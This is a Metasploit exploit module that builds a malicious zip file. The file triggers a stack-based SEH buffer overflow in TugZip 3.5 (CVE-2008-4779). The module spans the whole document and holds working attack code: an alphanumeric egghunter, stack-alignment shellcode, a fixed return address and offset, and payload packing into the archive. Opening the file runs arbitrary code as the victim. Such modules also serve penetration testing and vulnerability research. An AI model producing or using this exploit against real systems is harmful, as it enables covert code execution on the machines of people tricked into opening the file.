require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
'Description'=> %q{
This module exploits a stack-based buffer overflow vulnerability
in the latest version 3.5 of TugZip archiving utility.
In order to trigger the vulnerability, an attacker must convince someone
to load a specially crafted zip file with TugZip by double click or file open.
By doing so, an attacker can execute arbitrary code as the victim user.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Stefan Marin',
'Lincoln',
'TecR0c <roccogiovannicalvi[at]gmail.com>',
'mr_me <steventhomasseeley[at]gmail.com>',
],
'Version'=> '$Revision: 13868 $',
'References' =>
[
[ 'OSVDB', '49371' ],
[ 'CVE', '2008-4779' ],
[ 'BID', '17432' ],
[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
],
'Platform' => [ 'win' ],
'Payload'=>
{
'BadChars'=> "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI',
}
},
'Targets'=>
[
[
'Universal',
{
'Ret'=> 0x7e0c307e,
'Offset' => 372,
}
],
],
'DislosureDate' => 'Oct 28 2008',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
], self.class)
end
def exploit
hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
eggtag = 'w00t' * 2
getpc_asm = %q{
popad
popad
popad
popad
popad
pop ebx
}
alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
alignment << "\x89\x05"
alignment << "\x5e"
alignment << "\x41"
alignment << "\x98\x99"
alignment << "\x41"
alignment << "\x8a\x94\x98\x98\x98"
getpc_asm = %q{
popad
pop esp
inc eax
inc eax
}
nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
seh = [target.ret].pack("V*")
sploit = rand_text_alpha(target['Offset'])
sploit << nseh << seh
sploit << alignment
sploit << hunter
sploit << eggtag << payload.encoded
zip = Rex::Zip::Archive.new
xtra = [0xdac0ffee].pack('V')
comment = [0xbadc0ded].pack('V')
zip.add_file(sploit, xtra, comment)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(zip.pack)
end
end